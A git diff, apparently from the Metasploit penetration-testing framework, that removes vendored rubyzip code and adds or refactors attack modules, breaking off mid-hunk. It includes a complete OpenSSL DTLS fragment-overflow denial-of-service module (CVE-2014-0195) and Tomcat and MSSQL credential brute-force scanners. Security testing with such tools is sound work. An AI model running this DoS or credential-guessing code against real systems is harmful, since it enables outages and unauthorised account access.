# zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" }
|
||||
# }
|
||||
#
|
||||
# Reading is as easy as writing, as the following example shows. The
|
||||
# example writes the contents of <code>first.txt</code> from zip archive
|
||||
# <code>my.zip</code> to standard out.
|
||||
#
|
||||
# require 'zip/zipfilesystem'
|
||||
#
|
||||
# Zip::ZipFile.open("my.zip") {
|
||||
# |zipfile|
|
||||
# puts zipfile.file.read("first.txt")
|
||||
# }
|
||||
|
||||
module ZipFileSystem
|
||||
|
||||
def initialize # :nodoc:
|
||||
mappedZip = ZipFileNameMapper.new(self)
|
||||
@zipFsDir = ZipFsDir.new(mappedZip)
|
||||
@zipFsFile = ZipFsFile.new(mappedZip)
|
||||
@zipFsDir.file = @zipFsFile
|
||||
@zipFsFile.dir = @zipFsDir
|
||||
end
|
||||
|
||||
# Returns a ZipFsDir which is much like ruby's builtin Dir (class)
|
||||
# object, except it works on the ZipFile on which this method is
|
||||
# invoked
|
||||
def dir
|
||||
@zipFsDir
|
||||
end
|
||||
|
||||
# Returns a ZipFsFile which is much like ruby's builtin File (class)
|
||||
# object, except it works on the ZipFile on which this method is
|
||||
# invoked
|
||||
def file
|
||||
@zipFsFile
|
||||
end
|
||||
|
||||
# Instances of this class are normally accessed via the accessor
|
||||
# ZipFile::file. An instance of ZipFsFile behaves like ruby's
|
||||
# builtin File (class) object, except it works on ZipFile entries.
|
||||
#
|
||||
# The individual methods are not documented due to their
|
||||
# similarity with the methods in File
|
||||
class ZipFsFile
|
||||
|
||||
attr_writer :dir
|
||||
# protected :dir
|
||||
|
||||
class ZipFsStat
|
||||
def initialize(zipFsFile, entryName)
|
||||
@zipFsFile = zipFsFile
|
||||
@entryName = entryName
|
||||
end
|
||||
|
||||
def forward_invoke(msg)
|
||||
@zipFsFile.send(msg, @entryName)
|
||||
end
|
||||
|
||||
def kind_of?(t)
|
||||
super || t == ::File::Stat
|
||||
end
|
||||
|
||||
forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev?
|
||||
forward_message :forward_invoke, :symlink?, :socket?, :blockdev?
|
||||
forward_message :forward_invoke, :readable?, :readable_real?
|
||||
forward_message :forward_invoke, :writable?, :writable_real?
|
||||
forward_message :forward_invoke, :executable?, :executable_real?
|
||||
forward_message :forward_invoke, :sticky?, :owned?, :grpowned?
|
||||
forward_message :forward_invoke, :setuid?, :setgid?
|
||||
forward_message :forward_invoke, :zero?
|
||||
forward_message :forward_invoke, :size, :size?
|
||||
forward_message :forward_invoke, :mtime, :atime, :ctime
|
||||
|
||||
def blocks; nil; end
|
||||
|
||||
def get_entry
|
||||
@zipFsFile.__send__(:get_entry, @entryName)
|
||||
end
|
||||
private :get_entry
|
||||
|
||||
def gid
|
||||
e = get_entry
|
||||
if e.extra.member? "IUnix"
|
||||
e.extra["IUnix"].gid || 0
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def uid
|
||||
e = get_entry
|
||||
if e.extra.member? "IUnix"
|
||||
e.extra["IUnix"].uid || 0
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def ino; 0; end
|
||||
|
||||
def dev; 0; end
|
||||
|
||||
def rdev; 0; end
|
||||
|
||||
def rdev_major; 0; end
|
||||
|
||||
def rdev_minor; 0; end
|
||||
|
||||
def ftype
|
||||
if file?
|
||||
return "file"
|
||||
elsif directory?
|
||||
return "directory"
|
||||
else
|
||||
raise StandardError, "Unknown file type"
|
||||
end
|
||||
end
|
||||
|
||||
def nlink; 1; end
|
||||
|
||||
def blksize; nil; end
|
||||
|
||||
def mode
|
||||
e = get_entry
|
||||
if e.fstype == 3
|
||||
e.externalFileAttributes >> 16
|
||||
else
|
||||
33206 # 33206 is equivalent to -rw-rw-rw-
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(mappedZip)
|
||||
@mappedZip = mappedZip
|
||||
end
|
||||
|
||||
def get_entry(fileName)
|
||||
if ! exists?(fileName)
|
||||
raise Errno::ENOENT, "No such file or directory - #{fileName}"
|
||||
end
|
||||
@mappedZip.find_entry(fileName)
|
||||
end
|
||||
private :get_entry
|
||||
|
||||
def unix_mode_cmp(fileName, mode)
|
||||
begin
|
||||
e = get_entry(fileName)
|
||||
e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0
|
||||
rescue Errno::ENOENT
|
||||
false
|
||||
end
|
||||
end
|
||||
private :unix_mode_cmp
|
||||
|
||||
def exists?(fileName)
|
||||
expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil
|
||||
end
|
||||
alias :exist? :exists?
|
||||
|
||||
# Permissions not implemented, so if the file exists it is accessible
|
||||
alias owned? exists?
|
||||
alias grpowned? exists?
|
||||
|
||||
def readable?(fileName)
|
||||
unix_mode_cmp(fileName, 0444)
|
||||
end
|
||||
alias readable_real? readable?
|
||||
|
||||
def writable?(fileName)
|
||||
unix_mode_cmp(fileName, 0222)
|
||||
end
|
||||
alias writable_real? writable?
|
||||
|
||||
def executable?(fileName)
|
||||
unix_mode_cmp(fileName, 0111)
|
||||
end
|
||||
alias executable_real? executable?
|
||||
|
||||
def setuid?(fileName)
|
||||
unix_mode_cmp(fileName, 04000)
|
||||
end
|
||||
|
||||
def setgid?(fileName)
|
||||
unix_mode_cmp(fileName, 02000)
|
||||
end
|
||||
|
||||
def sticky?(fileName)
|
||||
unix_mode_cmp(fileName, 01000)
|
||||
end
|
||||
|
||||
def umask(*args)
|
||||
::File.umask(*args)
|
||||
end
|
||||
|
||||
def truncate(fileName, len)
|
||||
raise StandardError, "truncate not supported"
|
||||
end
|
||||
|
||||
def directory?(fileName)
|
||||
entry = @mappedZip.find_entry(fileName)
|
||||
expand_path(fileName) == "/" || (entry != nil && entry.directory?)
|
||||
end
|
||||
|
||||
def open(fileName, openMode = "r", &block)
|
||||
openMode.gsub!("b", "") # ignore b option
|
||||
case openMode
|
||||
when "r"
|
||||
@mappedZip.get_input_stream(fileName, &block)
|
||||
when "w"
|
||||
@mappedZip.get_output_stream(fileName, &block)
|
||||
else
|
||||
raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r"
|
||||
end
|
||||
end
|
||||
|
||||
def new(fileName, openMode = "r")
|
||||
open(fileName, openMode)
|
||||
end
|
||||
|
||||
def size(fileName)
|
||||
@mappedZip.get_entry(fileName).size
|
||||
end
|
||||
|
||||
# Returns nil for not found and nil for directories
|
||||
def size?(fileName)
|
||||
entry = @mappedZip.find_entry(fileName)
|
||||
return (entry == nil || entry.directory?) ? nil : entry.size
|
||||
end
|
||||
|
||||
def chown(ownerInt, groupInt, *filenames)
|
||||
filenames.each { |fileName|
|
||||
e = get_entry(fileName)
|
||||
unless e.extra.member?("IUnix")
|
||||
e.extra.create("IUnix")
|
||||
end
|
||||
e.extra["IUnix"].uid = ownerInt
|
||||
e.extra["IUnix"].gid = groupInt
|
||||
}
|
||||
filenames.size
|
||||
end
|
||||
|
||||
def chmod (modeInt, *filenames)
|
||||
filenames.each { |fileName|
|
||||
e = get_entry(fileName)
|
||||
e.fstype = 3 # force convertion filesystem type to unix
|
||||
e.externalFileAttributes = modeInt << 16
|
||||
}
|
||||
filenames.size
|
||||
end
|
||||
|
||||
def zero?(fileName)
|
||||
sz = size(fileName)
|
||||
sz == nil || sz == 0
|
||||
rescue Errno::ENOENT
|
||||
false
|
||||
end
|
||||
|
||||
def file?(fileName)
|
||||
entry = @mappedZip.find_entry(fileName)
|
||||
entry != nil && entry.file?
|
||||
end
|
||||
|
||||
def dirname(fileName)
|
||||
::File.dirname(fileName)
|
||||
end
|
||||
|
||||
def basename(fileName)
|
||||
::File.basename(fileName)
|
||||
end
|
||||
|
||||
def split(fileName)
|
||||
::File.split(fileName)
|
||||
end
|
||||
|
||||
def join(*fragments)
|
||||
::File.join(*fragments)
|
||||
end
|
||||
|
||||
def utime(modifiedTime, *fileNames)
|
||||
fileNames.each { |fileName|
|
||||
get_entry(fileName).time = modifiedTime
|
||||
}
|
||||
end
|
||||
|
||||
def mtime(fileName)
|
||||
@mappedZip.get_entry(fileName).mtime
|
||||
end
|
||||
|
||||
def atime(fileName)
|
||||
e = get_entry(fileName)
|
||||
if e.extra.member? "UniversalTime"
|
||||
e.extra["UniversalTime"].atime
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def ctime(fileName)
|
||||
e = get_entry(fileName)
|
||||
if e.extra.member? "UniversalTime"
|
||||
e.extra["UniversalTime"].ctime
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def pipe?(filename)
|
||||
false
|
||||
end
|
||||
|
||||
def blockdev?(filename)
|
||||
false
|
||||
end
|
||||
|
||||
def chardev?(filename)
|
||||
false
|
||||
end
|
||||
|
||||
def symlink?(fileName)
|
||||
false
|
||||
end
|
||||
|
||||
def socket?(fileName)
|
||||
false
|
||||
end
|
||||
|
||||
def ftype(fileName)
|
||||
@mappedZip.get_entry(fileName).directory? ? "directory" : "file"
|
||||
end
|
||||
|
||||
def readlink(fileName)
|
||||
raise NotImplementedError, "The readlink() function is not implemented"
|
||||
end
|
||||
|
||||
def symlink(fileName, symlinkName)
|
||||
raise NotImplementedError, "The symlink() function is not implemented"
|
||||
end
|
||||
|
||||
def link(fileName, symlinkName)
|
||||
raise NotImplementedError, "The link() function is not implemented"
|
||||
end
|
||||
|
||||
def pipe
|
||||
raise NotImplementedError, "The pipe() function is not implemented"
|
||||
end
|
||||
|
||||
def stat(fileName)
|
||||
if ! exists?(fileName)
|
||||
raise Errno::ENOENT, fileName
|
||||
end
|
||||
ZipFsStat.new(self, fileName)
|
||||
end
|
||||
|
||||
alias lstat stat
|
||||
|
||||
def readlines(fileName)
|
||||
open(fileName) { |is| is.readlines }
|
||||
end
|
||||
|
||||
def read(fileName)
|
||||
@mappedZip.read(fileName)
|
||||
end
|
||||
|
||||
def popen(*args, &aProc)
|
||||
File.popen(*args, &aProc)
|
||||
end
|
||||
|
||||
def foreach(fileName, aSep = $/, &aProc)
|
||||
open(fileName) { |is| is.each_line(aSep, &aProc) }
|
||||
end
|
||||
|
||||
def delete(*args)
|
||||
args.each {
|
||||
|fileName|
|
||||
if directory?(fileName)
|
||||
raise Errno::EISDIR, "Is a directory - \"#{fileName}\""
|
||||
end
|
||||
@mappedZip.remove(fileName)
|
||||
}
|
||||
end
|
||||
|
||||
def rename(fileToRename, newName)
|
||||
@mappedZip.rename(fileToRename, newName) { true }
|
||||
end
|
||||
|
||||
alias :unlink :delete
|
||||
|
||||
def expand_path(aPath)
|
||||
@mappedZip.expand_path(aPath)
|
||||
end
|
||||
end
|
||||
|
||||
# Instances of this class are normally accessed via the accessor
|
||||
# ZipFile::dir. An instance of ZipFsDir behaves like ruby's
|
||||
# builtin Dir (class) object, except it works on ZipFile entries.
|
||||
#
|
||||
# The individual methods are not documented due to their
|
||||
# similarity with the methods in Dir
|
||||
class ZipFsDir
|
||||
|
||||
def initialize(mappedZip)
|
||||
@mappedZip = mappedZip
|
||||
end
|
||||
|
||||
attr_writer :file
|
||||
|
||||
def new(aDirectoryName)
|
||||
ZipFsDirIterator.new(entries(aDirectoryName))
|
||||
end
|
||||
|
||||
def open(aDirectoryName)
|
||||
dirIt = new(aDirectoryName)
|
||||
if block_given?
|
||||
begin
|
||||
yield(dirIt)
|
||||
return nil
|
||||
ensure
|
||||
dirIt.close
|
||||
end
|
||||
end
|
||||
dirIt
|
||||
end
|
||||
|
||||
def pwd; @mappedZip.pwd; end
|
||||
alias getwd pwd
|
||||
|
||||
def chdir(aDirectoryName)
|
||||
unless @file.stat(aDirectoryName).directory?
|
||||
raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}"
|
||||
end
|
||||
@mappedZip.pwd = @file.expand_path(aDirectoryName)
|
||||
end
|
||||
|
||||
def entries(aDirectoryName)
|
||||
entries = []
|
||||
foreach(aDirectoryName) { |e| entries << e }
|
||||
entries
|
||||
end
|
||||
|
||||
def foreach(aDirectoryName)
|
||||
unless @file.stat(aDirectoryName).directory?
|
||||
raise Errno::ENOTDIR, aDirectoryName
|
||||
end
|
||||
path = @file.expand_path(aDirectoryName).ensure_end("/")
|
||||
|
||||
subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$")
|
||||
@mappedZip.each {
|
||||
|fileName|
|
||||
match = subDirEntriesRegex.match(fileName)
|
||||
yield(match[1]) unless match == nil
|
||||
}
|
||||
end
|
||||
|
||||
def delete(entryName)
|
||||
unless @file.stat(entryName).directory?
|
||||
raise Errno::EINVAL, "Invalid argument - #{entryName}"
|
||||
end
|
||||
@mappedZip.remove(entryName)
|
||||
end
|
||||
alias rmdir delete
|
||||
alias unlink delete
|
||||
|
||||
def mkdir(entryName, permissionInt = 0755)
|
||||
@mappedZip.mkdir(entryName, permissionInt)
|
||||
end
|
||||
|
||||
def chroot(*args)
|
||||
raise NotImplementedError, "The chroot() function is not implemented"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ZipFsDirIterator # :nodoc:all
|
||||
include Enumerable
|
||||
|
||||
def initialize(arrayOfFileNames)
|
||||
@fileNames = arrayOfFileNames
|
||||
@index = 0
|
||||
end
|
||||
|
||||
def close
|
||||
@fileNames = nil
|
||||
end
|
||||
|
||||
def each(&aProc)
|
||||
raise IOError, "closed directory" if @fileNames == nil
|
||||
@fileNames.each(&aProc)
|
||||
end
|
||||
|
||||
def read
|
||||
raise IOError, "closed directory" if @fileNames == nil
|
||||
@fileNames[(@index+=1)-1]
|
||||
end
|
||||
|
||||
def rewind
|
||||
raise IOError, "closed directory" if @fileNames == nil
|
||||
@index = 0
|
||||
end
|
||||
|
||||
def seek(anIntegerPosition)
|
||||
raise IOError, "closed directory" if @fileNames == nil
|
||||
@index = anIntegerPosition
|
||||
end
|
||||
|
||||
def tell
|
||||
raise IOError, "closed directory" if @fileNames == nil
|
||||
@index
|
||||
end
|
||||
end
|
||||
|
||||
# All access to ZipFile from ZipFsFile and ZipFsDir goes through a
|
||||
# ZipFileNameMapper, which has one responsibility: ensure
|
||||
class ZipFileNameMapper # :nodoc:all
|
||||
include Enumerable
|
||||
|
||||
def initialize(zipFile)
|
||||
@zipFile = zipFile
|
||||
@pwd = "/"
|
||||
end
|
||||
|
||||
attr_accessor :pwd
|
||||
|
||||
def find_entry(fileName)
|
||||
@zipFile.find_entry(expand_to_entry(fileName))
|
||||
end
|
||||
|
||||
def get_entry(fileName)
|
||||
@zipFile.get_entry(expand_to_entry(fileName))
|
||||
end
|
||||
|
||||
def get_input_stream(fileName, &aProc)
|
||||
@zipFile.get_input_stream(expand_to_entry(fileName), &aProc)
|
||||
end
|
||||
|
||||
def get_output_stream(fileName, &aProc)
|
||||
@zipFile.get_output_stream(expand_to_entry(fileName), &aProc)
|
||||
end
|
||||
|
||||
def read(fileName)
|
||||
@zipFile.read(expand_to_entry(fileName))
|
||||
end
|
||||
|
||||
def remove(fileName)
|
||||
@zipFile.remove(expand_to_entry(fileName))
|
||||
end
|
||||
|
||||
def rename(fileName, newName, &continueOnExistsProc)
|
||||
@zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName),
|
||||
&continueOnExistsProc)
|
||||
end
|
||||
|
||||
def mkdir(fileName, permissionInt = 0755)
|
||||
@zipFile.mkdir(expand_to_entry(fileName), permissionInt)
|
||||
end
|
||||
|
||||
# Turns entries into strings and adds leading /
|
||||
# and removes trailing slash on directories
|
||||
def each
|
||||
@zipFile.each {
|
||||
|e|
|
||||
yield("/"+e.to_s.chomp("/"))
|
||||
}
|
||||
end
|
||||
|
||||
def expand_path(aPath)
|
||||
expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath
|
||||
expanded.gsub!(/\/\.(\/|$)/, "")
|
||||
expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "")
|
||||
expanded.empty? ? "/" : expanded
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def expand_to_entry(aPath)
|
||||
expand_path(aPath).lchop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class ZipFile
|
||||
include ZipFileSystem
|
||||
end
|
||||
end
|
||||
|
||||
# Copyright (C) 2002, 2003 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,90 +0,0 @@
|
|||
# With ziprequire you can load ruby modules from a zip file. This means
|
||||
# ruby's module include path can include zip-files.
|
||||
#
|
||||
# The following example creates a zip file with a single entry
|
||||
# <code>log/simplelog.rb</code> that contains a single function
|
||||
# <code>simpleLog</code>:
|
||||
#
|
||||
# require 'zip/zipfilesystem'
|
||||
#
|
||||
# Zip::ZipFile.open("my.zip", true) {
|
||||
# |zf|
|
||||
# zf.file.open("log/simplelog.rb", "w") {
|
||||
# |f|
|
||||
# f.puts "def simpleLog(v)"
|
||||
# f.puts ' Kernel.puts "INFO: #{v}"'
|
||||
# f.puts "end"
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# To use the ruby module stored in the zip archive simply require
|
||||
# <code>zip/ziprequire</code> and include the <code>my.zip</code> zip
|
||||
# file in the module search path. The following command shows one
|
||||
# way to do this:
|
||||
#
|
||||
# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' "
|
||||
|
||||
#$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
|
||||
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
class ZipList #:nodoc:all
|
||||
def initialize(zipFileList)
|
||||
@zipFileList = zipFileList
|
||||
end
|
||||
|
||||
def get_input_stream(entry, &aProc)
|
||||
@zipFileList.each {
|
||||
|zfName|
|
||||
Zip::ZipFile.open(zfName) {
|
||||
|zf|
|
||||
begin
|
||||
return zf.get_input_stream(entry, &aProc)
|
||||
rescue Errno::ENOENT
|
||||
end
|
||||
}
|
||||
}
|
||||
raise Errno::ENOENT,
|
||||
"No matching entry found in zip files '#{@zipFileList.join(', ')}' "+
|
||||
" for '#{entry}'"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
module Kernel #:nodoc:all
|
||||
alias :oldRequire :require
|
||||
|
||||
def require(moduleName)
|
||||
zip_require(moduleName) || oldRequire(moduleName)
|
||||
end
|
||||
|
||||
def zip_require(moduleName)
|
||||
return false if already_loaded?(moduleName)
|
||||
get_resource(ensure_rb_extension(moduleName)) {
|
||||
|zis|
|
||||
eval(zis.read); $" << moduleName
|
||||
}
|
||||
return true
|
||||
rescue Errno::ENOENT => ex
|
||||
return false
|
||||
end
|
||||
|
||||
def get_resource(resourceName, &aProc)
|
||||
zl = ZipList.new($:.grep(/\.zip$/))
|
||||
zl.get_input_stream(resourceName, &aProc)
|
||||
end
|
||||
|
||||
def already_loaded?(moduleName)
|
||||
moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$")
|
||||
$".detect { |e| e =~ moduleRE } != nil
|
||||
end
|
||||
|
||||
def ensure_rb_extension(aString)
|
||||
aString.sub(/(\.rb)?$/i, ".rb")
|
||||
end
|
||||
end
|
||||
|
||||
# Copyright (C) 2002 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -59,6 +59,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rkelly-remix', '0.0.6'
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'robots'
|
||||
# Needed by some modules
|
||||
spec.add_runtime_dependency 'rubyzip', '~> 1.1'
|
||||
# Needed for some post modules
|
||||
spec.add_runtime_dependency 'sqlite3'
|
||||
# required for Time::TZInfo in ActiveSupport
|
||||
|
|
|
@ -3,9 +3,20 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
||||
# for extracting files
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'zip/zip' #for extracting files
|
||||
require 'rex/zip' #for creating files
|
||||
# for creating files
|
||||
require 'rex/zip'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
|
||||
def unzip_docx
|
||||
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile
|
||||
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
|
||||
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
|
||||
#we read it all into memory
|
||||
zip_data = Hash.new
|
||||
begin
|
||||
Zip::ZipFile.open(datastore['SOURCE']) do |filezip|
|
||||
Zip::File.open(datastore['SOURCE']) do |filezip|
|
||||
filezip.each do |entry|
|
||||
zip_data[entry.name] = filezip.read(entry)
|
||||
end
|
||||
end
|
||||
rescue Zip::ZipError => e
|
||||
rescue Zip::Error => e
|
||||
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
|
||||
return nil
|
||||
end
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Dos
|
||||
include Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
|
||||
'Description' => %q{
|
||||
This module performs a Denial of Service Attack against Datagram TLS in
|
||||
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
|
||||
This occurs when a DTLS ClientHello message has multiple fragments and the
|
||||
fragment lengths of later fragments are larger than that of the first, a
|
||||
buffer overflow occurs, causing a DoS.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0195'],
|
||||
['ZDI', '14-173'],
|
||||
['BID', '67900'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 05 2014'))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(4433),
|
||||
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
|
||||
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
|
||||
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
|
||||
sol = (seq << 48) | (frag_offset << 24) | frag_length
|
||||
[
|
||||
(type << 24) | length,
|
||||
(sol >> 32),
|
||||
(sol & 0x00000000FFFFFFFF)
|
||||
].pack("NNN") + frag_body
|
||||
end
|
||||
|
||||
def build_tls_message(type, version, epoch, sequence, message)
|
||||
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
|
||||
# sequence # (6 bytes) + message length (2 bytes), message body
|
||||
es = (epoch << 48) | sequence
|
||||
[
|
||||
type,
|
||||
version,
|
||||
(es >> 32),
|
||||
(es & 0x00000000FFFFFFFF),
|
||||
message.length
|
||||
].pack("CnNNn") + message
|
||||
end
|
||||
|
||||
def run
|
||||
# add a small fragment
|
||||
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
|
||||
# add a large fragment where the length is significantly larger than that of the first
|
||||
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
|
||||
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
|
||||
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
|
||||
connect_udp
|
||||
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
|
||||
udp_sock.put(message)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
|
@ -4,6 +4,8 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/tomcat'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -91,60 +93,68 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Tomcat.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 10
|
||||
)
|
||||
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
end
|
||||
|
||||
def do_login(user='tomcat', pass='tomcat')
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'")
|
||||
success = false
|
||||
srvhdr = '?'
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}, 25)
|
||||
unless (res.kind_of? Rex::Proto::Http::Response)
|
||||
vprint_error("http://#{rhost}:#{rport}#{uri} not responding")
|
||||
return :abort
|
||||
scanner.scan! do |result|
|
||||
if result.success?
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public
|
||||
}
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Credential::Login::Status::SUCCESSFUL
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: nil,
|
||||
realm_value: nil,
|
||||
status: result.status)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
return :abort if (res.code == 404)
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers['Server'] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
success = true if(res.body.scan(/Tomcat/i).size >= 5)
|
||||
success
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Tomcat Application Manager\"",
|
||||
:source_type => "user_supplied",
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
)
|
||||
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,7 +5,8 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/mssql'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -30,44 +31,82 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.")
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass, datastore['VERBOSE'])
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
